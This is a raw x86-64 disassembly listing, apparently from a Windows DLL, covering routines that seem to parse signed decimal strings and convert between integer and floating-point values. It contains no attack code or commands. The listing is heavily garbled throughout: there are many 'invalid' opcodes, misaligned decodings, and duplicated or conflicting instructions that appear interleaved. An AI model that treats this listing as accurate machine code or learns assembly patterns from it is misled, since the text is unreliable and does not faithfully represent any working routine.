add byte [rcx + rcx*4 - 0x40], al
mov eax, r8d
mov eax, eax
sal bl, 0x48
cvtsi2ss xmm0, rax
cvtpi2ps xmm0, mm0
movd edi, xmm0
movd edi, mm0
mov dword [rcx - 0x4a], 0x417beb07
mov r14b, 7
jmp 0x180065600
mov r14b, 3
mov dh, 3
add ebp, ecx
jmp 0x180065692
add eax, 0xf3000001
add dword [rax], eax
add byte [rax], al
add bl, dh
cvttss2si eax, xmm0
cvttps2pi mm0, xmm0
ucomiss xmm0, dword [0x18006c8c0]
add eax, 0x7328
jae case.0x18005c15f.172
add byte [rax], al
add byte [rcx + 0x7fffffff], bh
mov ecx, 0x7fffffff
invalid
invalid
cmovbe ecx, eax
xor r15d, r15d
invalid
enter 0x3145, 0xffffffffffffffff
dec dword [rdi]
rol byte cs:[rdi + rcx + 0x4b], 0xf9
cmovnp r15d, ecx
ucomiss xmm0, xmm0
cmovnp r15d, ecx
cmovnp edi, ecx
stc
jmp 0x180065809
add byte [rax], al
add bl, dh
movups xmm1, xmmword [0x18006c8cc]
add byte [rax], al
movss xmm1, dword [0x18006c8cc]
add byte [rax], al
add bl, dh
maxps xmm1, xmm0
pop rdi
invalid
maxss xmm1, xmm0
pop rdi
enter 0xff3, 0x10
movss xmm0, dword [0x18006c8d0]
add eax, 0x730d
minss xmm0, xmm1
pop rbp
sal ebx, 0x44
cvttss2si r12d, xmm0
cvttss2si r12d, xmm0
jmp 0x1800656bc
jmp case.0x180046113.1326
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x4a], al
or al, byte [rbp - 0x77]
invalid
mov r14b, 0xa
mov dh, 0xa
mov r12d, r8d
mov esp, eax
jmp 0x180065725
add byte [rax], al
movsx eax, bp
mov edi, 0x2a0ff2c5
invalid
cvtsi2sd xmm0, eax
movq rdi, xmm0
movd edi, mm0
shl byte [rsi + 0x48], 0xf
jle 0x1800655af
invalid
movd edi, mm0
mov dword [rcx - 0x4a], 0x12ae908
mov r14b, 8
jmp case.0x18005ccfd.141
add byte [rax], al
or cl, ch
sub al, byte [rcx]
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], al
mov eax, r8d
sal dl, 0x48
cvtsi2sd xmm0, rax
cvtpi2ps xmm0, mm0
movq rdi, xmm0
mov r14b, 8
mov dh, 8
or cl, ch
push rbx
jmp 0x180065758
add dword [rax], eax
add byte [rcx - 0x4a], al
mov r14b, 0xd
invalid
xchg ebp, eax
add al, byte [rax]
mov r14b, 0xd
mov dh, 0xd
jmp 0x1800658a2
add al, byte [rax]
add byte [rax], al
add byte [rcx - 0x4a], al
or ebp, ecx
loop case.0x18005ccfd.202
invalid
mov r14b, 0xb
mov dh, 0xb
jmp 0x1800658f7
add al, byte [rax]
add byte [rcx - 0x4a], al
mov r14b, 5
jmp 0x1800658fc
add byte [rax], al
cvttss2si rax, xmm0
add byte [rax], al
mov r14b, 5
jmp 0x1800658fc
add byte [rax], al
add byte [rax], al
cvttss2si rax, xmm0
cvttps2pi mm0, xmm0
sub al, 0xc0
mov rcx, rax
ror dword [rax - 0x3f], 0xf9
sar rcx, 0x3f
movaps xmm1, xmm0
enter 0xff3, 0x5c
or eax, 0x72a0
add byte [rax], al
stc
invalid
enter 0xff3, 0x5c
or eax, 0x72a0
add byte [rax], al
subps xmm1, xmmword [0x18006c8d4]
add byte [rax], al
cvttss2si rdx, xmm1
cvttps2pi mm2, xmm1
cvttps2pi mm2, xmm1
sub al, 0xd1
and rdx, rcx
or rdx, rax
or edx, eax
retf 0x948
or edx, eax
ret 0xc031
xor eax, eax
xorps xmm1, xmm1
push rdi
leave
ucomiss xmm0, xmm1
ror dword cs:[rax + 0xf], 0x43
ror dword [rax + 0xf], 0x43
cmovae rax, rdx
ucomiss xmm0, dword [0x18006c8d8]
add eax, 0x7286
ret 0x2e0f
ret 0x2e0f
add eax, 0x7286
xchg byte [rdx], dh
jb 0x180065651
add cl, ch
jmp 0x1800657b3
pop rsp
add dword [rax], eax
add byte [rcx - 0x4a], al
mov r14b, 0xc
or al, 0x41
mov edi, edi
mov r15d, edi
jmp 0x1800658fc
invalid
mov r14b, 3
mov dh, 3
jmp 0x1800657c9
pop rdi
add dword [rax], eax
add byte [rcx - 0x4a], al
invalid
mov r14b, 6
mov dh, 6
jmp 0x180065904
xchg edx, eax
add al, byte [rax]
add byte [rcx + 0xf], al
movsx eax, ah
invalid
invalid
invalid
movsx eax, r12b
movsx eax, ah
cvtsi2ss xmm0, eax
movd r15d, xmm0
movd r15d, mm0
shl byte [rsi + 0x41], 0xf
movd r15d, mm0
jle 0x180065646
mov dword [rcx - 0x4a], 0x21be907
mov r14b, 7
jmp 0x1800658a2
sbb eax, dword [rdx]
add byte [rax], al
invalid
sbb eax, dword [rdx]
add byte [rax], al
add byte [rcx - 0x4a], al
mov r14b, 5
jmp 0x180065931
invalid
add al, byte [rax]
add byte [rax], al
add eax, 0x2a2e9
movabs byte [0x9be90ab641000002], al
add byte [rax], al
add byte [rcx - 0x4a], al
mov r14b, 0xa
or ch, cl
jmp 0x180065832
wait
add dword [rax], eax
add byte [rcx - 0x4a], al
invalid
invalid
mov r14b, 3
jmp 0x180065814
jne 0x18006569e
add byte [rax], al
add ebp, ecx
jne 0x18006569e
add byte [rax], al
add dl, dh
movups xmm1, xmmword [0x18006c890]
adc byte [0x18006c890], cl
movsd xmm1, qword [0x18006c890]
adc byte [0x18006c890], cl
jno case.0x18006481f.36
add dl, dh
maxps xmm1, xmm0
pop rdi
invalid
maxsd xmm1, xmm0
pop rdi
enter 0xff2, 0x10
movsd xmm0, qword [0x18006c898]
add eax, 0x71e5
in eax, 0x71
add byte [rax], al
add dl, dh
minps xmm0, xmm1
minsd xmm0, xmm1
cvttsd2si r12d, xmm0
cvttps2pi mm4, xmm0
mov r14b, 3
jmp 0x180065832
leave
maxss xmm1, xmm0
movss xmm0, dword [0x18006c8e0]
pop rdi
enter 0xff3, 0x10
add eax, 0x720d
minss xmm0, xmm1
cvttss2si r12d, xmm0
sub al, 0xe0
sal ebx, 0x44
cvttps2pi mm4, xmm0
sub al, 0xe0
sub al, 0xe0
jmp 0x18006582f
movsx eax, r12b
cvtsi2sd xmm0, eax
movq rdi, xmm0
mov r14b, 8
jmp 0x1800658a2
lodsb al, byte [rsi]
add dword [rax], eax
add byte [rax], al
lodsb al, byte [rsi]
add dword [rax], eax
add byte [rax], al
mov r14b, 0xb
jmp 0x180065929
cvtss2sd xmm0, xmm0
add byte [rax], al
mov r14b, 0xb
jmp 0x180065929
add al, byte [rax]
add bl, dh
cvtps2pd xmm0, xmm0
movq rdi, xmm0
mov r14b, 8
mov dh, 8
jmp 0x180064bc4
mov r14b, 0xc
jmp 0x180064bc4
mov r14b, 6
jmp 0x180065929
mov r14b, 0xb
mov ebp, r8d
jmp 0x180065758
mov r14b, 0xd
jmp 0x180065904
movq xmm0, r8
punpckldq xmm0, xmmword [0x18006c710]
punpckldq mm0, dword [0x18006c710]
punpckldq mm0, dword [0x18006c710]
add byte [rax], al
subpd xmm0, xmmword [0x18006c720]
haddpd xmm0, xmm0
invalid
jl 0x180065708
invalid
jl 0x180065708
jmp 0x180065840
add byte [rax], al
mov r14b, 0xc
jmp case.0x18005c15f.125
mov r14b, 6
mov rdi, r8
mov r15d, edi
jmp 0x180066136
cvtsi2ss xmm0, r15d
cvtpi2ps xmm0, mm7
sub al, bh
movd r15d, xmm0
mov r14b, 7
jmp 0x1800658fc
mov dword [rcx - 0x4a], 0x18ae907
add byte [rax], al
add byte [rcx - 0x4a], al
or eax, 0x1e3e9
invalid
jrcxz 0x180065779
invalid
mov r14b, 0xd
mov dh, 0xd
jmp 0x18006595d
jrcxz 0x180065779
add byte [rax], al
add dl, dh
cvttps2pi mm0, xmm0
cvttsd2si rax, xmm0
mov rcx, rax
sar rcx, 0x3f
sar ecx, 0x3f
ror dword [rax - 0x3f], 0xf9
sar ecx, 0x3f
invalid
movapd xmm1, xmm0
subsd xmm1, qword [0x18006c8a0]
subps xmm1, xmmword [0x18006c8a0]
cvttsd2si rdx, xmm1
cvttps2pi mm2, xmm1
ror dword [rax + 0x21], 1
retf 0x948
invalid
invalid
and rdx, rcx
or rdx, rax
xor eax, eax
xorpd xmm1, xmm1
ucomisd xmm0, xmm1
ror dword [rax + 0xf], 0x43
ret 0xf66
add eax, 0x70f5
cmc
jo 0x1800657b2
add byte [rax], al
ror dword [rax + 0xf], 0x43
ret 0xf66
add byte [rax], al
mov rdi, 0xffffffffffffffff
cmovbe rdi, rax
invalid
dec dword [rax + 0xf]
clc
mov r14b, 0xd
jmp 0x180064bc4
invalid
mov r14b, 0xa
mov r12d, r15d
jmp 0x1800658f7
movzx eax, r12b
mov dh, 0xc4
cvtsi2ss xmm0, eax
cvtpi2ps xmm0, mm0
movd r15d, xmm0
movd edi, mm0
mov dword [rcx - 0x4a], 0x17ae907
add byte [rax], al
mov r14b, 7
jmp 0x180065960
movapd xmm1, xmm0
maxsd xmm1, qword [0x18006c870]
minsd xmm1, qword [0x18006c878]
jo 0x1800657f9
add dl, dh
cvttps2pi mm0, xmm1
jo 0x1800657f9
add dl, dh
cvttps2pi mm0, xmm1
rol dword [rbp + 0x31], 0xff
xor r15d, r15d
xor edi, edi
ucomisd xmm0, xmm0
cmovnp r15d, eax
clc
clc
mov r14b, 5
jmp 0x180065955
mov r14b, 0xa
mov dh, 0xa
jmp 0x18006585d
xorpd xmm1, xmm1
maxsd xmm1, xmm0
movsd xmm0, qword [0x18006c8b0]
jo 0x180065825
add dl, dh
minps xmm0, xmm1
jo 0x180065825
add dl, dh
minps xmm0, xmm1
cvttsd2si r12d, xmm0
sub al, 0xe0
mov r14b, 0xa
jmp 0x1800658a2
cvtsi2sd xmm0, r15d
jmp 0x180065840
movq rdi, xmm0
mov r14b, 8
or cl, ch
mov bh, 0
add byte [rax], al
or cl, ch
mov bh, 0
add byte [rax], al
movzx eax, r12b
mov dh, 0xc4
cvtsi2sd xmm0, eax
movq rdi, xmm0
mov r14b, 8
jmp 0x180065960
cvtsd2ss xmm0, xmm0
movd r15d, xmm0
mov r14b, 7
jmp 0x180065955
mov r14b, 0xb
jmp 0x180065904
mov r14b, 0xc
or al, 0x41
mov edi, ebp
mov r15d, ebp
jmp 0x1800658a2
mov r14b, 6
jmp 0x180066136
add eax, 0x701e
mov r15d, 0xffffffff
cmovbe r15d, ecx
stc
jmp 0x180065952
ucomiss xmm0, xmm0
jmp 0x180065988
mov r14b, 0xb
mov ebp, r15d
jmp 0x1800658fc
mov r14b, 0xc
jmp 0x180066136
mov r14b, 6
jmp 0x180066136
mov r14b, 0xb
mov dh, 0xb
jmp 0x18006595d
xorpd xmm1, xmm1
maxsd xmm1, xmm0
movsd xmm0, qword [0x18006c860]
movups xmm0, xmmword [0x18006c860]
movups xmm0, xmmword [0x18006c860]
minsd xmm0, xmm1
cvttsd2si ebp, xmm0
mov r14b, 0xb
jmp 0x180064bc4
mov r14b, 0xc
mov rdi, r8
mov r15d, edi
jmp 0x180065960
xorpd xmm1, xmm1
maxsd xmm1, xmm0
movsd xmm0, qword [0x18006c858]
minsd xmm0, xmm1
cvttsd2si r15, xmm0
mov r14b, 0xc
jmp 0x180064bc4
mov r14b, 6
mov rdi, r8
mov ebp, edi
jmp 0x180066136
cvttsd2si rax, xmm0
ucomisd xmm0, qword [0x18006c868]
movabs rcx, 0x7fffffffffffffff
cmovbe rcx, rax
xor edi, edi
ucomisd xmm0, xmm0
cmovnp rdi, rcx
mov r14b, 6
jmp 0x180064bc4
mov rbx, qword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
mov r14b, 2
jmp 0x180064bc4
shr r15d, 8
and r15b, 1
mov r10b, 2
mov ebp, r15d
jmp 0x1800661aa
shr ebp, 8
jmp 0x1800661a7
mov rdi, qword [rsp + 0x48]
mov r14b, 8
jmp 0x180066124
mov rdx, qword [rsp + 0x30]
xor byte [rax - 0x7af0d4c6], al
cmp byte [rdx], al
add byte [rax], al
cmp byte [rdx], 0x2b
jne 0x180065c14
inc rdx
lea rax, [r13 - 1]
mov r8, rax
cmp r13, 4
jb 0x180065c26
xor r9d, r9d
mov r10b, 0xa
xor r12d, r12d
mov r14b, 0xa
movzx r11d, byte [rdx + r9]
add r11d, 0xffffffd0
mov eax, r12d
mul r10b
jo 0x18006615b
mov bpl, 1
cmp r11d, 0xa
jae 0x1800661a7
mov r12d, eax
add r12b, r11b
jb 0x180065fdd
inc r9
cmp r8, r9
jne 0x1800659fc
jmp 0x180066124
mov rax, qword [rsp + 0x30]
mov al, byte [rax]
cmp al, 0x2d
je 0x180065cd8
movzx eax, al
cmp eax, 0x2b
jne 0x180065df3
cmp ebp, 5
jae case.0x18005c15f.269
test rdx, rdx
jne 0x180065e01
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rcx - 0x4a], al
add al, 0xe9
cwde
invalid
mov r14b, 4
jmp 0x180066111
mov rax, qword [rsp + 0x30]
mov al, byte [rax]
cmp al, 0x2d
je 0x180065d1f
mov r8, qword [rsp + 0x30]
cmp byte [r8], 0x2b
jne 0x180065c59
inc r8
inc eax
lea r9, [r13 - 1]
cmp r13, 0xa
jb 0x180065c66
xor r10d, r10d
mov r11d, 0xa
xor r15d, r15d
mov r14b, 0xc
movzx edi, byte [r8 + r10]
add edi, 0xffffffd0
mov eax, r15d
mul r11d
jo 0x180066163
mov bpl, 1
cmp edi, 0xa
jae 0x1800661a7
mov r15d, eax
add r15d, edi
jb 0x180065fdd
inc r10
cmp r9, r10
jne 0x180065aea
jmp 0x180066124
mov rax, qword [rsp + 0x30]
mov al, byte [rax]
cmp al, 0x2d
je 0x180065d69
movzx eax, al
cmp eax, 0x2b
jne 0x180065eec
add ecx, dword [rdi]
or ecx, 3
add byte [rax], al
test r8, r8
test eax, eax
test eax, eax
ror byte [rdi], 0x85
pushfq
add eax, dword [rax]
add byte [rcx - 0x4a], al
add ebp, ecx
mov bh, 5
add byte [rax], al
jne 0x180065efa
mov r14b, 3
jmp 0x18006611d
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
cmp byte [r8], 0x2b
jne 0x180065c9d
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 1], cl
ror byte [rbp - 0x73], 0x4d
dec dword [rcx - 0x7d]
std
adc cl, byte [rdi]
invalid
add byte [rax], al
inc r8
lea r9, [r13 - 1]
cmp r13, 0x12
jb case.0x18001c9bf.1491
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + 0x31], al
rol byte [rcx - 0x45], cl
or al, byte [rax]
add byte [rax], al
xor r10d, r10d
mov r11d, 0xa
xor edi, edi
movzx r14d, byte [r8 + r10]
add r14d, 0xffffffd0
mov rax, rdi
mul r11
jrcxz 0x180065bb0
add ah, 5
add byte [rax], al
jrcxz 0x180065bb0
add ah, 5
add byte [rax], al
invalid
add eax, 0xb5400000
add dword [rcx - 0x7d], eax
dec byte [rdx]
mov bpl, 1
cmp r14d, 0xa
jae 0x1800661a7
add eax, 0x89480000
mov dword [rcx + rcx*4 - 0x10], 0xfc70148
add edi, eax
invalid
invalid
mov rdi, rax
mov eax, r14d
add rdi, rax
add edi, eax
add edi, eax
jb 0x180065fdd
sbb eax, dword [rax + rax]
add al, 0
add byte [rcx - 1], cl
ret 0xb641
inc r10
mov r14b, 0xd
cmp r9, r10
jne 0x180065b91
jmp 0x180066124
add eax, 0x8b480000
and al, 0x30
mov rax, qword [rsp + 0x30]
mov al, byte [rax]
cmp al, 0x2d
sub eax, 0x1c7840f
add byte [rax], al
je 0x180065da8
movzx eax, al
cmp eax, 0x2b
jne 0x180065f62
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x30]
inc rax
lea rdx, [r13 - 1]
lea edx, [rbp - 1]
lea edx, [rbp - 1]
push rbp
dec dword [rcx - 0x7d]
std
adc dword [rdi], ecx
and dword [rbp + 0x48000003], 0xffffff85
ror byte [rdi], cl
cmp r13, 0x11
jae 0x180065fa8
test rdx, rdx
jne 0x180065f70
test dword [rbx + rax], esp
invalid
test dword [rbx + rax], esp
add byte [rcx - 0x4a], al
mov r14b, 6
invalid
jmp case.0x18006481f.80
mov eax, 2
mov r8, r13
cmp r13, 3
jae 0x1800659f0
add ecx, dword [rdi]
or edx, 0xfffffffd
invalid
xor r10d, r10d
xor r12d, r12d
xor esp, esp
xor esp, esp
in al, 0x46
movzx eax, byte [rdx + rdx]
movzx r8d, byte [rdx + r10]
add r8d, 0xffffffd0
cmp r8d, 9
ja 0x180065c92
movzx r9d, r12b
int3
imul r9d, r9d, 0xa
mov r12d, r8d
add r12b, r9b
inc r10
cmp rax, r10
jne 0x180065c2c
mov r14b, 0xa
jmp 0x180066120
add al, 0
invalid
add al, 0
add byte [rbp - 0x77], cl
jmp 0x18a03dfa9
add byte [rax], al
mov r9, r13
cmp r13, 9
jae 0x180065adb
xor eax, eax
xor edx, edx
sal byte [rcx], 0xd2
movzx r15d, byte [r8 + rax]
add r15d, 0xffffffd0
invalid
rol byte [rcx - 0x7d], 1
dec dword [rcx]
cmp r15d, 9
ja 0x180065c92
imul edx, edx, 0xa
add r15d, edx
xlatb
xlatb
inc rax
mov edx, r15d
mov edx, edi
mov edx, edi
cmp r9, rax
jne 0x180065c6a
mov r14b, 0xc
jmp 0x18006611b
mov dword [rax + rax], eax
invalid
mov dword [rax + rax], eax
add al, 0
add byte [rcx - 0x4e], al
add dword [rax - 0x4b], eax
add ecx, ebp
adc al, byte [0x109535c9f]
mov r10b, 1
mov bpl, 1
jmp 0x1800661af
mov r9, r13
cmp r13, 0x11
jae 0x180065b86
jmp 0x19203dfed
xor eax, eax
xor edi, edi
movzx ecx, byte [r8 + rax]
add ecx, 0xffffffd0
cmp ecx, 9
ja 0x180065f9d
invalid
add byte [rax + 0x6b], cl
xlatb
or cl, byte [rcx - 0x28feb731]
imul rdx, rdi, 0xa
mov edi, ecx
add rdi, rdx
inc rax
cmp r9, rax
jne 0x180065cae
invalid
fiadd word [rcx - 0x4a]
or eax, 0x44ce9
add byte [rcx - 0x7d], cl
std
add eax, 0x316830f
add byte [rax], al
mov rax, r13
mov r14b, 4
dec rax
je 0x180066111
mov r14b, 0xd
jmp 0x180066124
cmp r13, 5
jae 0x180065ff8
mov eax, 1
xor ebp, ebp
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx + rax]
add ecx, 0xffffffd0
cmp ecx, 9
ja 0x180065f9d
imul ebp, ebp, 0xa
sub ebp, ecx
inc rax
cmp r13, rax
jne 0x180065cf8
jmp case.0x1800642bc.296
call 0x1c80c1371
dec eax
je 0x180066118
xor r15d, r15d
mov eax, 1
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx + rax]
add ecx, 0xffffffd0
rol byte [rbx - 0x78f0f607], 1
add al, byte [rax]
invalid
rol byte [rbx - 0x78f0f607], 1
add al, byte [rax]
add byte [rbp + 0x6b], al
dec dword [rdx]
imul r15d, r15d, 0xa
sub r15d, ecx
inc rax
cmp r13, rax
jne 0x180065d40
jmp 0x18006611b
cmp r13, 3
jae 0x180066079
add dword [rsi], 3
add byte [rax], al
mov rax, r13
mov r14b, 3
dec rax
dec eax
dec eax
enter 0xffffffffffff840f, 0xffffffffffffff9b
je 0x18006611d
wait
add eax, dword [rax]
add byte [rax - 0x75], cl
and al, 0x30
mov rax, qword [rsp + 0x30]
movzx r12d, byte [rax + 1]
add r12d, 0xffffffd0
mov r10b, 1
mov bpl, 1
cmp r12d, 0xa
jae 0x1800661af
invalid
add dword [rcx - 0x7d], eax
invalid
or dword [rdi], 4
add byte [rax], al
neg r12b
jmp 0x180066120
cmp r13, 0x11
jae 0x1800660c0
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx + rax]
add ecx, 0xffffffd0
cmp ecx, 9
ja 0x180065f9d
rol byte [rcx], 0
invalid
rol byte [rcx], 0
add byte [rax + 0x6b], cl
dec dword [rdx]
imul rdi, rdi, 0xa
mov ecx, ecx
sub rdi, rcx
inc rax
cmp r13, rax
jne 0x180065dc8
jmp 0x180066124
xor ecx, ecx
xor ebp, ebp
mov r14b, 4
movzx r8d, byte [rax + rcx]
add r8d, 0xffffffd0
cmp r8d, 9
ja 0x180065f9d
invalid
add byte [rbx - 0x13], ch
or al, byte [rcx + rax - 0x3b]
imul ebp, ebp, 0xa
add ebp, r8d
inc rcx
cmp rdx, rcx
jne 0x180065e08
jmp 0x180066124
test byte [rdx], 0
add byte [rbp + 0x31], al
xor r8d, r8d
xor ebp, ebp
xor r8d, r8d
xor eax, eax
xor ebp, ebp
mov r10b, 1
mov r14b, 4
movzx r9d, byte [rax + r8]
movzx ecx, byte [rax + rax]
add r9d, 0xffffffd0
add ecx, 0xffffffd0
imul bp, bp, 0xa
jo 0x180065fe5
cmp r9d, 0xa
jae 0x180065fa0
add dword [rax], eax
invalid
stc
or cl, byte [rdi]
or dword [rdx + 1], 0
add dword [rax], eax
add dword [rax], eax
add byte [rsi + 0x44], ah
add ebp, ecx
jo 0x180065ff0
add byte [rax], al
add byte [rax], al
add byte [rcx - 1], cl
ror byte [rcx + rdi - 0x3e], 0x75
shr ecx, 1
mov bh, 2
add al, byte [rax]
add byte [rax - 0x75], cl
and al, 0x30
inc r8
cmp rdx, r8
jne 0x180065e39
jmp 0x180066124
add al, byte [rax]
add byte [rax - 0x75], cl
and al, 0x30
mov rdx, r13
cmp r13, 8
jae case.0x18001e8b0.1446
xor ecx, ecx
xor r8d, r8d
mov r14b, 5
movzx r15d, byte [rax + rcx]
add r15d, 0xffffffd0
cmp r15d, 9
ja 0x180065f9d
imul r8d, r8d, 0xa
add r15d, r8d
inc rcx
mov r8d, r15d
cmp rdx, rcx
jne 0x180065e83
xor r8d, r8d
xor r15d, r15d
mov r10b, 1
mov r14b, 5
movzx r9d, byte [rax + r8]
add r9d, 0xffffffd0
add ecx, 0xffffffd0
add ecx, 0xffffffd0
imul r15d, r15d, 0xa
jo 0x180065fe5
cmp r9d, 0xa
jae 0x180065fa0
movzx eax, byte [rdx]
add eax, 0xffffffd0
mov r12d, 1
cmp eax, 0xa
cmovb r12d, eax
cmovb esp, eax
cmovb esp, eax
jb 0x180066101
mov r10b, 1
mov ebp, r12d
jmp 0x1800661af
xchg ecx, eax
add al, byte [rax]
invalid
xchg ecx, eax
add al, byte [rax]
add byte [rbp + 0x31], al
leave
mov r10b, 0xa
xor r12d, r12d
mov r14b, 3
movzx r11d, byte [rdx + r9]
add r11d, 0xffffffd0
mov eax, r12d
imul r10b
jo 0x180066176
cmp r11d, 0xa
jae 0x180066182
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x77], al
invalid
mov r12d, eax
add r12b, r11b
jo 0x180066187
inc r9
cmp r8, r9
invalid
jne case.0x18002b117.1331
enter 0xffffffffffffcd75, 0xffffffffffffffe9
ret 1
jmp 0x180066124
mov rax, qword [rsp + 0x30]
mov rdx, r13
invalid
cmp r13, 0x10
jae 0x180065fa8
invalid
xor ecx, ecx
xor edi, edi
mov r14b, 6
movzx r8d, byte [rax + rcx]
add r8d, 0xffffffd0
cmp r8d, 9
or dword [rdi + 0x17], esi
or dword [rdi + 0x17], esi
imul r9, rdi, 0xa
imul ecx, edi, 0xa
mov edi, r8d
add rdi, r9
inc rcx
ror dword [rax + 0x39], 0xca
cmp rdx, rcx
jne 0x180065f77
jmp 0x180066124
mov r10b, 1
mov bpl, 1
jmp 0x1800661aa
xor r8d, r8d
xor edi, edi
mov r10b, 1
mov r14b, 6
invalid
invalid
movzx r9d, byte [rax + r8]
add r9d, 0xffffffd0
imul rdi, rdi, 0xa
jo 0x180065fe5
cmp r9d, 0xa
jae 0x180065fa0
mov r9d, r9d
add rdi, r9
jo 0x180065ff0
inc r8
cmp rdx, r8
ret 0xdb75
ret 0xdb75
jmp 0x180066124
mov bpl, 2
jmp 0x1800661a7
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx], dh
in eax, dx
add byte [rax], al
xor ebp, ebp
cmp r9d, 0xa
jmp 0x18006617c
mov bpl, 2
jmp 0x1800661aa
add dword [rax], eax
add byte [rax], al
xor ebp, ebp
mov rcx, qword [rsp + 0x30]
mov r10b, 1
mov r14b, 4
imul bp, bp, 0xa
movzx edx, byte [rcx + rax]
jo 0x180066106
add edx, 0xffffffd0
cmp edx, 0xa
or dh, byte [rbx - 0x80]
or dh, byte [rbx - 0x80]
sub bp, dx
jo 0x1800660f9
inc rax
cmp r13, rax
jne 0x18006600a
jmp 0x180066124
mov eax, 1
mov rcx, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov r10b, 1
mov r14b, 5
imul r15d, r15d, 0xa
movzx edx, byte [rcx + rax]
jo 0x180066106
add edx, 0xffffffd0
cmp edx, 0xa
jae 0x180065fa0
rol byte [rbx - 0x7cf0f506], 1
cmp eax, 0x41ffffff
sub edi, edx
sub r15d, edx
jo 0x1800660f9
add byte [rax], al
inc rax
cmp r13, rax
jne case.0x18002ac81.1343
jmp 0x180066124
add byte [rax], al
add byte [rdx + 1], bh
xor r12d, r12d
mov r8b, 0xa
mov rcx, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov r10b, 1
mov r14b, 3
mov eax, r12d
imul r8b
call 0x18cbc6fdd
adc dword [rdi], ecx
xor ah, 0
add byte [rax], al
call 0x18cbc6fdd
adc dword [rdi], ecx
xor ah, 0
add byte [rax], al
add r9d, 0xffffffd0
cmp r9d, 0xa
cmp ecx, 0xa
cmp ecx, 0xa
jae 0x180065fa0
mov r12d, eax
sub r12b, r9b
jo 0x1800660f9
inc rdx
cmp r13, rdx
jne 0x18006608f
jmp 0x180066124
imul rdi, rdi, 0xa
movzx edx, byte [rcx + rax]
jo 0x180066106
add edx, 0xffffffd0
cmp edx, 0xa
or cl, byte [rdi]
invalid
invalid
invalid
invalid
invalid
or cl, byte [rdi]
cmp dword [rax - 0x76000002], 0xffffffd2
mov edx, edx
sub rdi, rdx
jo 0x1800660f9
inc rax
cmp r13, rax
jne case.0x18006489b.100
jmp 0x180066124
mov bpl, 3
jmp 0x1800661aa
mov r14b, 3
jmp 0x180066120
invalid
sbb al, byte [rbx - 0x57c393e]
add edx, 0xffffffc6
cmp edx, 0xfffffff6
jmp 0x18006619c
imul cl
mov eax, dword [rax]
add byte [rax], al
xor ebp, ebp
jmp case.0x1800642bc.296
xor r15d, r15d
jmp 0x180066124
xor r12d, r12d
in al, 0xeb
add dh, byte [rcx]
invalid
jmp 0x180066124
xor edi, edi
dec dword [rax - 0x75]
and al, 0x28
and al, 0x28
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
and al, 0x28
sub byte [rax - 0x75], cl
pop rsp
and al, 0x30
mov rbx, qword [rsp + 0x30]
mov rdx, rbx
mov edx, ebx
call case.0x180046113.1274
loope 0x180066134
invalid
inc dword [rax + rcx*4 + 0x76]
mov byte [rsi + 8], r14b
mov byte [rsi + 9], r12b
mov word [rsi + 0xa], bp
mov dword [rsi + 0xa], ebp
or byte [rax + rcx*4 + 0x66], al
or dword [rsi - 0x77], esp
mov dword [rsi + 0xa], ebp
mov dword [rsi + 0xc], r15d
mov qword [rsi + 0x10], rdi
invalid
mov dword [rsi + 0xa], ebp
mov dword [rsi + 0xc], r15d
mov qword [rsi + 0x10], rdi
invalid
adc byte [rax - 0x77], cl
pop rsi
sbb byte [rcx + rcx*4 + 0x6e], cl
and byte [rax - 0x7d], cl
add cl, ch
mov qword [rsi + 0x18], rbx
mov dword [rsi + 0x18], ebx
mov qword [rsi + 0x20], r13
and qword [rsi], 0
jmp case.0x18004bb8b.432
ret 0
invalid
add cl, ch
ret 0
add byte [rax], al
xor ebp, ebp
cmp r11d, 0xa
jmp 0x180066170
xor ebp, ebp
cmp edi, 0xa
jmp 0x180066170
invalid
invalid
xor ebp, ebp
cmp r14d, 0xa
invalid
or al, byte [rax - 0x80]
adc bpl, 1
adc ch, 1
invalid
add ebx, ebp
jmp 0x18006618a
adc al, 0x31
in eax, dx
xor ebp, ebp
cmp r11d, 0xa
cmp ebx, 0xa
or al, byte [rax - 0x80]
invalid
adc bpl, 1
adc ch, 1
jmp 0x1800661a7
mov bpl, 1
mov ch, 1
jmp 0x18006618a
mov bpl, 2
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
and al, 0x28
mov r10b, 1
jmp 0x1800661af
add r9d, 0xffffffc6
cmp r9d, 0xfffffff6
cmp ecx, 0xfffffff6
mov byte [rcx - 0x7d], 0xf9
test byte [rax + 0xf], 0x93
invalid
cmp ecx, 0xfffffff6
setae bpl
add bpl, bpl
add ch, ch
add ch, ch
or bpl, 1
int 1
mov r10b, 1
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov byte [rsi + 8], r10b
push rsi
or byte [rax - 0x78], al
mov byte [rsi + 9], bpl
invalid
invalid
invalid
mov byte [rsi + 9], bpl
mov qword [rsi], 1
add byte [rax - 0x75], cl
push rsp
and al, 0x30
add byte [rax - 0x75], cl
push rsp
and al, 0x30
xor al, ch
sbb esp, ecx
invalid
call case.0x180046113.1274
mov al, 1
add dword [rcx], esi
leave
loope 0x1800661c6
invalid
push qword [rax - 0x4d36ceff]
add dword [rdx + rcx*4 + 0x33], eax
mov dh, byte [rbx]
add dword [rcx], esi
leave
mov dl, 1
mov r14b, byte [rbx]
mov dh, byte [rbx]
cmp r14b, 2
inc byte [rdx]
je 0x18006620c
movzx ecx, r14b
cmp ecx, 0x10
invalid
je 0x180066200
invalid
adc byte [rax + riz - 0x7d], dh
and byte [rbx + 0x17740ff9], al
stc
pcmpeqb mm2, qword [rdi]
cmp ecx, 0xe
jne case.0x18004bb8b.432
invalid
test dl, dl
je case.0x18004bb8b.432
invalid
invalid
